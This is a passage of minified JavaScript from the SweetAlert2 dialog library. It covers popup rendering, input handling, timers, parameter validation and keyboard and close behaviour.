n=0;n<t.childNodes.length;n++)if(F(t.childNodes[n],e))return t.childNodes[n]},wt=function(t){return!(!t||!(t.offsetWidth||t.offsetHeight||t.getClientRects().length))},Ct='\n <div aria-labelledby="'.concat(J.title,'" aria-describedby="').concat(J.content,'" class="').concat(J.popup,'" tabindex="-1">\n   <div class="').concat(J.header,'">\n     <ul class="').concat(J["progress-steps"],'"></ul>\n     <div class="').concat(J.icon," ").concat(X.error,'"></div>\n     <div class="').concat(J.icon," ").concat(X.question,'"></div>\n     <div class="').concat(J.icon," ").concat(X.warning,'"></div>\n     <div class="').concat(J.icon," ").concat(X.info,'"></div>\n     <div class="').concat(J.icon," ").concat(X.success,'"></div>\n     <img class="').concat(J.image,'" />\n     <h2 class="').concat(J.title,'" id="').concat(J.title,'"></h2>\n     <button type="button" class="').concat(J.close,'"></button>\n   </div>\n   <div class="').concat(J.content,'">\n     <div id="').concat(J.content,'" class="').concat(J["html-container"],'"></div>\n     <input class="').concat(J.input,'" />\n     <input type="file" class="').concat(J.file,'" />\n     <div class="').concat(J.range,'">\n       <input type="range" />\n       <output></output>\n     </div>\n     <select class="').concat(J.select,'"></select>\n     <div class="').concat(J.radio,'"></div>\n     <label for="').concat(J.checkbox,'" class="').concat(J.checkbox,'">\n       <input type="checkbox" />\n       <span class="').concat(J.label,'"></span>\n     </label>\n     <textarea class="').concat(J.textarea,'"></textarea>\n     <div class="').concat(J["validation-message"],'" id="').concat(J["validation-message"],'"></div>\n   </div>\n   <div class="').concat(J.actions,'">\n     <div class="').concat(J.loader,'"></div>\n     <button type="button" class="').concat(J.confirm,'"></button>\n     <button type="button" class="').concat(J.deny,'"></button>\n     <button type="button" class="').concat(J.cancel,'"></button>\n   </div>\n   <div class="').concat(J.footer,'"></div>\n   <div class="').concat(J["timer-progress-bar-container"],'">\n     <div class="').concat(J["timer-progress-bar"],'"></div>\n   </div>\n </div>\n').replace(/(^|\n)\s*/g,""),kt=function(t){var e,n,o,i,r,a,s,c,u,l,d,p,f,m,h,g=!!(e=C())&&(e.parentNode.removeChild(e),yt([document.documentElement,document.body],[J["no-backdrop"],J["toast-shown"],J["has-column"]]),!0);pt()?Y("SweetAlert2 requires document to initialize"):((n=document.createElement("div")).className=J.container,g&&vt(n,J["no-transition"]),_(n,Ct),(o="string"==typeof(i=t.target)?document.querySelector(i):i).appendChild(n),r=t,(a=x()).setAttribute("role",r.toast?"alert":"dialog"),a.setAttribute("aria-live",r.toast?"polite":"assertive"),r.toast||a.setAttribute("aria-modal","true"),s=o,"rtl"===window.getComputedStyle(s).direction&&vt(C(),J.rtl),c=A(),u=bt(c,J.input),l=bt(c,J.file),d=c.querySelector(".".concat(J.range," input")),p=c.querySelector(".".concat(J.range," output")),f=bt(c,J.select),m=c.querySelector(".".concat(J.checkbox," input")),h=bt(c,J.textarea),u.oninput=ft,l.onchange=ft,f.onchange=ft,m.onchange=ft,h.oninput=ft,d.oninput=function(t){ft(t),p.value=d.value},d.onchange=function(t){ft(t),d.nextSibling.value=d.value})},xt=function(t,e){t.jquery?Bt(e,t):_(e,t.toString())},Bt=function(t,e){if(t.textContent="",0 in e)for(var n=0;n in e;n++)t.appendChild(e[n].cloneNode(!0));else t.appendChild(e.cloneNode(!0))},Pt=function(){if(pt())return!1;var t=document.createElement("div"),e={WebkitAnimation:"webkitAnimationEnd",OAnimation:"oAnimationEnd oanimationend",animation:"animationend"};for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&void 0!==t.style[n])return e[n];return!1}();function At(t,e,n){var o;ct(t,n["show".concat((o=e).charAt(0).toUpperCase()+o.slice(1),"Button")],"inline-block"),_(t,n["".concat(e,"ButtonText")]),t.setAttribute("aria-label",n["".concat(e,"ButtonAriaLabel")]),t.className=J[e],z(t,n,"".concat(e,"Button")),vt(t,n["".concat(e,"ButtonClass")])}function St(t,e){var n,o,i,r,a,s,c,u,l=C();l&&(n=l,"string"==typeof(o=e.backdrop)?n.style.background=o:o||vt([document.documentElement,document.body],J["no-backdrop"]),!e.backdrop&&e.allowOutsideClick&&K('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'),i=l,(r=e.position)in J?vt(i,J[r]):(K('The "position" parameter is not valid, defaulting to "center"'),vt(i,J.center)),a=l,!(s=e.grow)||"string"!=typeof s||(c="grow-".concat(s))in J&&vt(a,J[c]),z(l,e,"container"),(u=document.body.getAttribute("data-swal2-queue-step"))&&(l.setAttribute("data-queue-step",u),document.body.removeAttribute("data-swal2-queue-step")))}function Et(t,e){t.placeholder&&!e.inputPlaceholder||(t.placeholder=e.inputPlaceholder)}var Ot={promise:new WeakMap,innerParams:new WeakMap,domCache:new WeakMap},Tt=["input","file","range","select","radio","checkbox","textarea"],Lt=function(t){if(!It[t.input])return Y('Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "'.concat(t.input,'"'));var e=jt(t.input),n=It[t.input](e,t);rt(n),setTimeout(function(){nt(n)})},Dt=function(t,e){var n=et(A(),t);if(n)for(var o in!function(t){for(var e=0;e<t.attributes.length;e++){var n=t.attributes[e].name;-1===["type","value","style"].indexOf(n)&&t.removeAttribute(n)}}(n),e)"range"===t&&"placeholder"===o||n.setAttribute(o,e[o])},qt=function(t){var e=jt(t.input);t.customClass&&vt(e,t.customClass.input)},jt=function(t){var e=J[t]?J[t]:J.input;return bt(A(),e)},It={};It.text=It.email=It.password=It.number=It.tel=It.url=function(t,e){return"string"==typeof e.inputValue||"number"==typeof e.inputValue?t.value=e.inputValue:b(e.inputValue)||K('Unexpected type of inputValue! Expected "string", "number" or "Promise", got "'.concat(r(e.inputValue),'"')),Et(t,e),t.type=e.input,t},It.file=function(t,e){return Et(t,e),t},It.range=function(t,e){var n=t.querySelector("input"),o=t.querySelector("output");return n.value=e.inputValue,n.type=e.input,o.value=e.inputValue,t},It.select=function(t,e){var n;return t.textContent="",e.inputPlaceholder&&(n=document.createElement("option"),_(n,e.inputPlaceholder),n.value="",n.disabled=!0,n.selected=!0,t.appendChild(n)),t},It.radio=function(t){return t.textContent="",t},It.checkbox=function(t,e){var n=et(A(),"checkbox");n.value=1,n.id=J.checkbox,n.checked=Boolean(e.inputValue);var o=t.querySelector("span");return _(o,e.inputPlaceholder),t},It.textarea=function(e,t){var n,o;return e.value=t.inputValue,Et(e,t),"MutationObserver"in window&&(n=parseInt(window.getComputedStyle(x()).width),o=parseInt(window.getComputedStyle(x()).paddingLeft)+parseInt(window.getComputedStyle(x()).paddingRight),new MutationObserver(function(){var t=e.offsetWidth+o;x().style.width=n<t?"".concat(t,"px"):null}).observe(e,{attributes:!0,attributeFilter:["style"]})),e};function Mt(t,e){var n,o,i,r,a,s=A().querySelector("#".concat(J.content));e.html?(mt(e.html,s),rt(s,"block")):e.text?(s.textContent=e.text,rt(s,"block")):at(s),n=t,o=e,i=A(),r=Ot.innerParams.get(n),a=!r||o.input!==r.input,Tt.forEach(function(t){var e=J[t],n=bt(i,e);Dt(t,o.inputAttributes),n.className=e,a&&at(n)}),o.input&&(a&&Lt(o),qt(o)),z(A(),e,"content")}function Vt(){return C()&&C().getAttribute("data-queue-step")}function Rt(t,c){var u=E();if(!c.progressSteps||0===c.progressSteps.length)return at(u),0;rt(u),u.textContent="";var l=parseInt(void 0===c.currentProgressStep?Vt():c.currentProgressStep);l>=c.progressSteps.length&&K("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)"),c.progressSteps.forEach(function(t,e){var n,o,i,r,a,s=(n=t,o=document.createElement("li"),vt(o,J["progress-step"]),_(o,n),o);u.appendChild(s),e===l&&vt(s,J["active-progress-step"]),e!==c.progressSteps.length-1&&(r=c,a=document.createElement("li"),vt(a,J["progress-step-line"]),r.progressStepsDistance&&(a.style.width=r.progressStepsDistance),i=a,u.appendChild(i))})}function Ht(t,e){var n,o,i,r,a,s,c,u,l=I();z(l,e,"header"),Rt(0,e),n=t,o=e,(r=Ot.innerParams.get(n))&&o.icon===r.icon&&B()?Ft(B(),o):(_t(),o.icon&&(-1!==Object.keys(X).indexOf(o.icon)?(i=k(".".concat(J.icon,".").concat(X[o.icon])),rt(i),Wt(i,o),Ft(i,o),vt(i,o.showClass.icon)):Y('Unknown icon! Expected "success", "error", "warning", "info" or "question", got "'.concat(o.icon,'"')))),function(t){var e=S();if(!t.imageUrl)return at(e);rt(e,""),e.setAttribute("src",t.imageUrl),e.setAttribute("alt",t.imageAlt),it(e,"width",t.imageWidth),it(e,"height",t.imageHeight),e.className=J.image,z(e,t,"image")}(e),a=e,s=P(),ct(s,a.title||a.titleText),a.title&&mt(a.title,s),a.titleText&&(s.innerText=a.titleText),z(s,a,"title"),c=e,u=R(),_(u,c.closeButtonHtml),z(u,c,"closeButton"),ct(u,c.showCloseButton),u.setAttribute("aria-label",c.closeButtonAriaLabel)}function Nt(t,e){var n,o,i,r;n=e,o=x(),it(o,"width",n.width),it(o,"padding",n.padding),n.background&&(o.style.background=n.background),Qt(o,n),St(0,e),Ht(t,e),Mt(t,e),ht(0,e),i=e,r=M(),ct(r,i.footer),i.footer&&mt(i.footer,r),z(r,i,"footer"),"function"==typeof e.didRender?e.didRender(x()):"function"==typeof e.onRender&&e.onRender(x())}function Ut(){return T()&&T().click()}var _t=function(){for(var t=n(),e=0;e<t.length;e++)at(t[e])},Ft=function(t,e){Kt(t,e),zt(),z(t,e,"icon")},zt=function(){for(var t=x(),e=window.getComputedStyle(t).getPropertyValue("background-color"),n=t.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix"),o=0;o<n.length;o++)n[o].style.backgroundColor=e},Wt=function(t,e){t.textContent="",e.iconHtml?_(t,Yt(e.iconHtml)):"success"===e.icon?_(t,'\n      <div class="swal2-success-circular-line-left"></div>\n      <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>\n      <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>\n      <div class="swal2-success-circular-line-right"></div>\n    '):"error"===e.icon?_(t,'\n      <span class="swal2-x-mark">\n        <span class="swal2-x-mark-line-left"></span>\n        <span class="swal2-x-mark-line-right"></span>\n      </span>\n    '):_(t,Yt({question:"?",warning:"!",info:"i"}[e.icon]))},Kt=function(t,e){if(e.iconColor){t.style.color=e.iconColor,t.style.borderColor=e.iconColor;for(var n=0,o=[".swal2-success-line-tip",".swal2-success-line-long",".swal2-x-mark-line-left",".swal2-x-mark-line-right"];n<o.length;n++){st(t,o[n],"backgroundColor",e.iconColor)}st(t,".swal2-success-ring","borderColor",e.iconColor)}},Yt=function(t){return'<div class="'.concat(J["icon-content"],'">').concat(t,"</div>")},Zt=[],Qt=function(t,e){t.className="".concat(J.popup," ").concat(wt(t)?e.showClass.popup:""),e.toast?(vt([document.documentElement,document.body],J["toast-shown"]),vt(t,J.toast)):vt(t,J.modal),z(t,e,"popup"),"string"==typeof e.customClass&&vt(t,e.customClass),e.icon&&vt(t,J["icon-".concat(e.icon)])};function $t(){var t=x();t||bn.fire(),t=x();var e=j(),n=T(),o=D();rt(e),at(n),vt([t,e],J.loading),rt(o),t.setAttribute("data-loading",!0),t.setAttribute("aria-busy",!0),t.focus()}function Jt(){return new Promise(function(t){var e=window.scrollX,n=window.scrollY;oe.restoreFocusTimeout=setTimeout(function(){oe.previousActiveElement&&oe.previousActiveElement.focus?(oe.previousActiveElement.focus(),oe.previousActiveElement=null):document.body&&document.body.focus(),t()},100),void 0!==e&&void 0!==n&&window.scrollTo(e,n)})}function Xt(){if(oe.timeout)return function(){var t=V(),e=parseInt(window.getComputedStyle(t).width);t.style.removeProperty("transition"),t.style.width="100%";var n=parseInt(window.getComputedStyle(t).width),o=parseInt(e/n*100);t.style.removeProperty("transition"),t.style.width="".concat(o,"%")}(),oe.timeout.stop()}function Gt(){if(oe.timeout){var t=oe.timeout.start();return dt(t),t}}function te(t){return Object.prototype.hasOwnProperty.call(ie,t)}function ee(t){return ae[t]}function ne(t){for(var e in t)te(i=e)||K('Unknown parameter "'.concat(i,'"')),t.toast&&(o=e,-1!==se.indexOf(o)&&K('The parameter "'.concat(o,'" is incompatible with toasts'))),ee(n=e)&&g(n,ee(n));var n,o,i}var oe={},ie={title:"",titleText:"",text:"",html:"",footer:"",icon:void 0,iconColor:void 0,iconHtml:void 0,toast:!1,animation:!0,showClass:{popup:"swal2-show",backdrop:"swal2-backdrop-show",icon:"swal2-icon-show"},hideClass:{popup:"swal2-hide",backdrop:"swal2-backdrop-hide",icon:"swal2-icon-hide"},customClass:void 0,target:"body",backdrop:!0,heightAuto:!0,allowOutsideClick:!0,allowEscapeKey:!0,allowEnterKey:!0,stopKeydownPropagation:!0,keydownListenerCapture:!1,showConfirmButton:!0,showDenyButton:!1,showCancelButton:!1,preConfirm:void 0,confirmButtonText:"OK",confirmButtonAriaLabel:"",confirmButtonColor:void 0,denyButtonText:"No",denyButtonAriaLabel:"",denyButtonColor:void 0,cancelButtonText:"Cancel",cancelButtonAriaLabel:"",cancelButtonColor:void 0,buttonsStyling:!0,reverseButtons:!1,focusConfirm:!0,focusDeny:!1,focusCancel:!1,showCloseButton:!1,closeButtonHtml:"&times;",closeButtonAriaLabel:"Close this dialog",loaderHtml:"",showLoaderOnConfirm:!1,imageUrl:void 0,imageWidth:void 0,imageHeight:void 0,imageAlt:"",timer:void 0,timerProgressBar:!1,width:void 0,padding:void 0,background:void 0,input:void 0,inputPlaceholder:"",inputValue:"",inputOptions:{},inputAutoTrim:!0,inputAttributes:{},inputValidator:void 0,validationMessage:void 0,grow:!1,position:"center",progressSteps:[],currentProgressStep:void 0,progressStepsDistance:void 0,onBeforeOpen:void 0,onOpen:void 0,willOpen:void 0,didOpen:void 0,onRender:void 0,didRender:void 0,onClose:void 0,onAfterClose:void 0,willClose:void 0,didClose:void 0,onDestroy:void 0,didDestroy:void 0,scrollbarPadding:!0},re=["allowEscapeKey","allowOutsideClick","background","buttonsStyling","cancelButtonAriaLabel","cancelButtonColor","cancelButtonText","closeButtonAriaLabel","closeButtonHtml","confirmButtonAriaLabel","confirmButtonColor","confirmButtonText","currentProgressStep","customClass","denyButtonAriaLabel","denyButtonColor","denyButtonText","didClose","didDestroy","footer","hideClass","html","icon","iconColor","imageAlt","imageHeight","imageUrl","imageWidth","onAfterClose","onClose","onDestroy","progressSteps","reverseButtons","showCancelButton","showCloseButton","showConfirmButton","showDenyButton","text","title","titleText","willClose"],ae={animation:'showClass" and "hideClass',onBeforeOpen:"willOpen",onOpen:"didOpen",onRender:"didRender",onClose:"willClose",onAfterClose:"didClose",onDestroy:"didDestroy"},se=["allowOutsideClick","allowEnterKey","backdrop","focusConfirm","focusDeny","focusCancel","heightAuto","keydownListenerCapture"],ce=Object.freeze({isValidParameter:te,isUpdatableParameter:function(t){return-1!==re.indexOf(t)},isDeprecatedParameter:ee,argsToParams:function(o){var i={};return"object"!==r(o[0])||w(o[0])?["title","html","icon"].forEach(function(t,e){var n=o[e];"string"==typeof n||w(n)?i[t]=n:void 0!==n&&Y("Unexpected type of ".concat(t,'! Expected "string" or "Element", got ').concat(r(n)))}):c(i,o[0]),i},isVisible:function(){return wt(x())},clickConfirm:Ut,clickDeny:function(){return L()&&L().click()},clickCancel:function(){return q()&&q().click()},getContainer:C,getPopup:x,getTitle:P,getContent:A,getHtmlContainer:function(){return e(J["html-container"])},getImage:S,getIcon:B,getIcons:n,getCloseButton:R,getActions:j,getConfirmButton:T,getDenyButton:L,getCancelButton:q,getHeader:I,getFooter:M,getTimerProgressBar:V,getFocusableElements:H,getValidationMessage:O,isLoading:U,fire:function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return i(this,e)},mixin:function(r){return function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&l(t,e)}(i,t);var n,o,e=(n=i,o=d(),function(){var t,e=u(n);return p(this,o?(t=u(this).constructor,Reflect.construct(e,arguments,t)):e.apply(this,arguments))});function i(){return a(this,i),e.apply(this,arguments)}return s(i,[{key:"_main",value:function(t){return f(u(i.prototype),"_main",this).call(this,c({},r,t))}}]),i}(this)},queue:function(t){var r=this;Zt=t;function a(t,e){Zt=[],t(e)}var s=[];return new Promise(function(i){!function e(n,o){n<Zt.length?(document.body.setAttribute("data-swal2-queue-step",n),r.fire(Zt[n]).then(function(t){void 0!==t.value?(s.push(t.value),e(n+1,o)):a(i,{dismiss:t.dismiss})})):a(i,{value:s})}(0)})},getQueueStep:Vt,insertQueueStep:function(t,e){return e&&e<Zt.length?Zt.splice(e,0,t):Zt.push(t)},deleteQueueStep:function(t){void 0!==Zt[t]&&Zt.splice(t,1)},showLoading:$t,enableLoading:$t,getTimerLeft:function(){return oe.timeout&&oe.timeout.getTimerLeft()},stopTimer:Xt,resumeTimer:Gt,toggleTimer:function(){var t=oe.timeout;return t&&(t.running?Xt:Gt)()},increaseTimer:function(t){if(oe.timeout){var e=oe.timeout.increase(t);return dt(e,!0),e}},isTimerRunning:function(){return oe.timeout&&oe.timeout.isRunning()}});function ue(){var t,e=Ot.innerParams.get(this);e&&(t=Ot.domCache.get(this),at(t.loader),e.showConfirmButton?rt(t.confirmButton):e.showConfirmButton||e.showCancelButton||at(t.actions),yt([t.popup,t.actions],J.loading),t.popup.removeAttribute("aria-busy"),t.popup.removeAttribute("data-loading"),t.confirmButton.disabled=!1,t.denyButton.disabled=!1,t.cancelButton.disabled=!1)}function le(){null===tt.previousBodyPadding&&document.body.scrollHeight>window.innerHeight&&(tt.previousBodyPadding=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right")),document.body.style.paddingRight="".concat(tt.previousBodyPadding+function(){var t=document.createElement("div");t.className=J["scrollbar-measure"],document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e}(),"px"))}function de(){return!!window.MSInputMethodContext&&!!document.documentMode}function pe(){var t=C(),e=x();t.style.removeProperty("align-items"),e.offsetTop<0&&(t.style.alignItems="flex-start")}var fe=function(){navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)||x().scrollHeight>window.innerHeight-44&&(C().style.paddingBottom="".concat(44,"px"))},me=function(){var e,t=C();t.ontouchstart=function(t){e=he(t.target)},t.ontouchmove=function(t){e&&(t.preventDefault(),t.stopPropagation())}},he=function(t){var e=C();return t===e||!(ut(e)||"INPUT"===t.tagName||ut(A())&&A().contains(t))},ge={swalPromiseResolve:new WeakMap};function ve(t,e,n,o){var i;n?Ce(t,o):(Jt().then(function(){return Ce(t,o)}),oe.keydownTarget.removeEventListener("keydown",oe.keydownHandler,{capture:oe.keydownListenerCapture}),oe.keydownHandlerAdded=!1),e.parentNode&&!document.body.getAttribute("data-swal2-queue-step")&&e.parentNode.removeChild(e),N()&&(null!==tt.previousBodyPadding&&(document.body.style.paddingRight="".concat(tt.previousBodyPadding,"px"),tt.previousBodyPadding=null),F(document.body,J.iosfix)&&(i=parseInt(document.body.style.top,10),yt(document.body,J.iosfix),document.body.style.top="",document.body.scrollTop=-1*i),"undefined"!=typeof window&&de()&&window.removeEventListener("resize",pe),h(document.body.children).forEach(function(t){t.hasAttribute("data-previous-aria-hidden")?(t.setAttribute("aria-hidden",t.getAttribute("data-previous-aria-hidden")),t.removeAttribute("data-previous-aria-hidden")):t.removeAttribute("aria-hidden")})),yt([document.documentElement,document.body],[J.shown,J["height-auto"],J["no-backdrop"],J["toast-shown"],J["toast-column"]])}function ye(t){var e,n,o,i=x();i&&(t=function(t){return void 0!==t?c({isConfirmed:!1,isDenied:!1,isDismissed:!1},t):{isConfirmed:!1,isDenied:!1,isDismissed:!0}}(t),(e=Ot.innerParams.get(this))&&!F(i,e.hideClass.popup)&&(n=ge.swalPromiseResolve.get(this),yt(i,e.showClass.popup),vt(i,e.hideClass.popup),o=C(),yt(o,e.showClass.backdrop),vt(o,e.hideClass.backdrop),function(t,e,n){var o=C(),i=Pt&&lt(e),r=n.onClose,a=n.onAfterClose,s=n.willClose,c=n.didClose;if(be(e,s,r),i){we(t,e,o,c||a)}else{ve(t,o,G(),c||a)}}(this,i,e),n(t)))}var be=function(t,e,n){null!==e&&"function"==typeof e?e(t):null!==n&&"function"==typeof n&&n(t)},we=function(t,e,n,o){oe.swalCloseEventFinishedCallback=ve.bind(null,t,n,G(),o),e.addEventListener(Pt,function(t){t.target===e&&(oe.swalCloseEventFinishedCallback(),delete oe.swalCloseEventFinishedCallback)})},Ce=function(t,e){setTimeout(function(){"function"==typeof e&&e(),t._destroy()})};function ke(t,e,n){var o=Ot.domCache.get(t);e.forEach(function(t){o[t].disabled=n})}function xe(t,e){if(!t)return!1;if("radio"===t.type)for(var n=t.parentNode.parentNode.querySelectorAll("input"),o=0;o<n.length;o++)n[o].disabled=e;else t.disabled=e}var Be=function(){function n(t,e){a(this,n),this.callback=t,this.remaining=e,this.running=!1,this.start()}return s(n,[{key:"start",value:function(){return this.running||(this.running=!0,this.started=new Date,this.id=setTimeout(this.callback,this.remaining)),this.remaining}},{key:"stop",value:function(){return this.running&&(this.running=!1,clearTimeout(this.id),this.remaining-=new Date-this.started),this.remaining}},{key:"increase",value:function(t){var e=this.running;return e&&this.stop(),this.remaining+=t,e&&this.start(),this.remaining}},{key:"getTimerLeft",value:function(){return this.running&&(this.stop(),this.start()),this.remaining}},{key:"isRunning",value:function(){return this.running}}]),n}(),Pe={email:function(t,e){return/^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(t)?Promise.resolve():Promise.resolve(e||"Invalid email address")},url:function(t,e){return/^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(t)?Promise.resolve():Promise.resolve(e||"Invalid URL")}};function Ae(t){var e,n;(e=t).inputValidator||Object.keys(Pe).forEach(function(t){e.input===t&&(e.inputValidator=Pe[t])}),t.showLoaderOnConfirm&&!t.preConfirm&&K("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request"),t.animation=Q(t.animation),(n=t).target&&("string"!=typeof n.target||document.querySelector(n.target))&&("string"==typeof n.target||n.target.appendChild)||(K('Target parameter is not valid, defaulting to "body"'),n.target="body"),"string"==typeof t.title&&(t.title=t.title.split("\n").join("<br />")),kt(t)}function Se(t){var e=C(),n=x();"function"==typeof t.willOpen?t.willOpen(n):"function"==typeof t.onBeforeOpen&&t.onBeforeOpen(n);var o=window.getComputedStyle(document.body).overflowY;Ne(e,n,t),setTimeout(function(){Re(e,n)},10),N()&&(He(e,t.scrollbarPadding,o),h(document.body.children).forEach(function(t){t===C()||function(t,e){if("function"==typeof t.contains)return t.contains(e)}(t,C())||(t.hasAttribute("aria-hidden")&&t.setAttribute("data-previous-aria-hidden",t.getAttribute("aria-hidden")),t.setAttribute("aria-hidden","true"))})),G()||oe.previousActiveElement||(oe.previousActiveElement=document.activeElement),Ve(n,t),yt(e,J["no-transition"])}function Ee(t){var e,n=x();t.target===n&&(e=C(),n.removeEventListener(Pt,Ee),e.style.overflowY="auto")}function Oe(t,e){"select"===e.input||"radio"===e.input?ze(t,e):-1!==["text","email","number","tel","textarea"].indexOf(e.input)&&(v(e.inputValue)||b(e.inputValue))&&We(t,e)}function Te(t,e){t.disableButtons(),e.input?Ze(t,e):$e(t,e,!0)}function Le(t){t.disableButtons(),Qe(t)}function De(t,e){t.disableButtons(),e($.cancel)}function qe(t,e){t.closePopup({isConfirmed:!0,value:e})}function je(e,t,n,o){t.keydownTarget&&t.keydownHandlerAdded&&(t.keydownTarget.removeEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!1),n.toast||(t.keydownHandler=function(t){return tn(e,t,o)},t.keydownTarget=n.keydownListenerCapture?window:x(),t.keydownListenerCapture=n.keydownListenerCapture,t.keydownTarget.addEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!0)}function Ie(t,e,n){var o=H(),i=0;if(i<o.length)return(e+=n)===o.length?e=0:-1===e&&(e=o.length-1),o[e].focus();x().focus()}function Me(t,e,n){Ot.innerParams.get(t).toast?an(t,e,n):(cn(e),un(e),ln(t,e,n))}var Ve=function(t,e){"function"==typeof e.didOpen?setTimeout(function(){return e.didOpen(t)}):"function"==typeof e.onOpen&&setTimeout(function(){return e.onOpen(t)})},Re=function(t,e){Pt&&lt(e)?(t.style.overflowY="hidden",e.addEventListener(Pt,Ee)):t.style.overflowY="auto"},He=function(t,e,n){var o;(/iPad|iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream||"MacIntel"===navigator.platform&&1<navigator.maxTouchPoints)&&!F(document.body,J.iosfix)&&(o=document.body.scrollTop,document.body.style.top="".concat(-1*o,"px"),vt(document.body,J.iosfix),me(),fe()),"undefined"!=typeof window&&de()&&(pe(),window.addEventListener("resize",pe)),e&&"hidden"!==n&&le(),setTimeout(function(){t.scrollTop=0})},Ne=function(t,e,n){vt(t,n.showClass.backdrop),e.style.setProperty("opacity","0","important"),rt(e),setTimeout(function(){vt(e,n.showClass.popup),e.style.removeProperty("opacity")},10),vt([document.documentElement,document.body],J.shown),n.heightAuto&&n.backdrop&&!n.toast&&vt([document.documentElement,document.body],J["height-auto"])},Ue=function(t){return t.checked?1:0},_e=function(t){return t.checked?t.value:null},Fe=function(t){return t.files.length?null!==t.getAttribute("multiple")?t.files:t.files[0]:null},ze=function(e,n){function o(t){return Ke[n.input](i,Ye(t),n)}var i=A();v(n.inputOptions)||b(n.inputOptions)?($t(),y(n.inputOptions).then(function(t){e.hideLoading(),o(t)})):"object"===r(n.inputOptions)?o(n.inputOptions):Y("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(r(n.inputOptions)))},We=function(e,n){var o=e.getInput();at(o),y(n.inputValue).then(function(t){o.value="number"===n.input?parseFloat(t)||0:"".concat(t),rt(o),o.focus(),e.hideLoading()}).catch(function(t){Y("Error in inputValue promise: ".concat(t)),o.value="",rt(o),o.focus(),e.hideLoading()})},Ke={select:function(t,e,i){function r(t,e,n){var o=document.createElement("option");o.value=n,_(o,e),i.inputValue.toString()===n.toString()&&(o.selected=!0),t.appendChild(o)}var a=bt(t,J.select);e.forEach(function(t){var e,n=t[0],o=t[1];Array.isArray(o)?((e=document.createElement("optgroup")).label=n,e.disabled=!1,a.appendChild(e),o.forEach(function(t){return r(e,t[1],t[0])})):r(a,o,n)}),a.focus()},radio:function(t,e,a){var s=bt(t,J.radio);e.forEach(function(t){var e=t[0],n=t[1],o=document.createElement("input"),i=document.createElement("label");o.type="radio",o.name=J.radio,o.value=e,a.inputValue.toString()===e.toString()&&(o.checked=!0);var r=document.createElement("span");_(r,n),r.className=J.label,i.appendChild(o),i.appendChild(r),s.appendChild(i)});var n=s.querySelectorAll("input");n.length&&n[0].focus()}},Ye=function o(n){var i=[];return"undefined"!=typeof Map&&n instanceof Map?n.forEach(function(t,e){var n=t;"object"===r(n)&&(n=o(n)),i.push([e,n])}):Object.keys(n).forEach(function(t){var e=n[t];"object"===r(e)&&(e=o(e)),i.push([t,e])}),i},Ze=function(e,n){var o=function(t,e){var n=t.getInput();if(!n)return null;switch(e.input){case"checkbox":return Ue(n);case"radio":return _e(n);case"file":return Fe(n);default:return e.inputAutoTrim?n.value.trim():n.value}}(e,n);n.inputValidator?(e.disableInput(),Promise.resolve().then(function(){return y(n.inputValidator(o,n.validationMessage))}).then(function(t){e.enableButtons(),e.enableInput(),t?e.showValidationMessage(t):$e(e,n,o)})):e.getInput().checkValidity()?$e(e,n,o):(e.enableButtons(),e.showValidationMessage(n.validationMessage))},Qe=function(t){t.closePopup({isDenied:!0,value:!1})},$e=function(e,t,n){t.showLoaderOnConfirm&&$t(),t.preConfirm?(e.resetValidationMessage(),Promise.resolve().then(function(){return y(t.preConfirm(n,t.validationMessage))}).then(function(t){wt(O())||!1===t?e.hideLoading():qe(e,void 0===t?n:t)})):qe(e,n)},Je=["ArrowRight","ArrowDown","Right","Down"],Xe=["ArrowLeft","ArrowUp","Left","Up"],Ge=["Escape","Esc"],tn=function(t,e,n){var o=Ot.innerParams.get(t);o.stopKeydownPropagation&&e.stopPropagation(),"Enter"===e.key?en(t,e,o):"Tab"===e.key?nn(e,o):-1!==[].concat(Je,Xe).indexOf(e.key)?on(e.key):-1!==Ge.indexOf(e.key)&&rn(e,o,n)},en=function(t,e,n){if(!e.isComposing&&e.target&&t.getInput()&&e.target.outerHTML===t.getInput().outerHTML){if(-1!==["textarea","file"].indexOf(n.input))return;Ut(),e.preventDefault()}},nn=function(t){for(var e=t.target,n=H(),o=-1,i=0;i<n.length;i++)if(e===n[i]){o=i;break}t.shiftKey?Ie(0,o,-1):Ie(0,o,1),t.stopPropagation(),t.preventDefault()},on=function(t){var e,n;-1!==[T(),L(),q()].indexOf(document.activeElement)&&(e=-1!==Je.indexOf(t)?"nextElementSibling":"previousElementSibling",(n=document.activeElement[e])&&n.focus())},rn=function(t,e,n){Q(e.allowEscapeKey)&&(t.preventDefault(),n($.esc))},an=function(e,t,n){t.popup.onclick=function(){var t=Ot.innerParams.get(e);t.showConfirmButton||t.showDenyButton||t.showCancelButton||t.showCloseButton||t.input||n($.close)}},sn=!1,cn=function(e){e.popup.onmousedown=function(){e.container.onmouseup=function(t){e.container.onmouseup=void 0,t.target===e.container&&(sn=!0)}}},un=function(e){e.container.onmousedown=function(){e.popup.onmouseup=function(t){e.popup.onmouseup=void 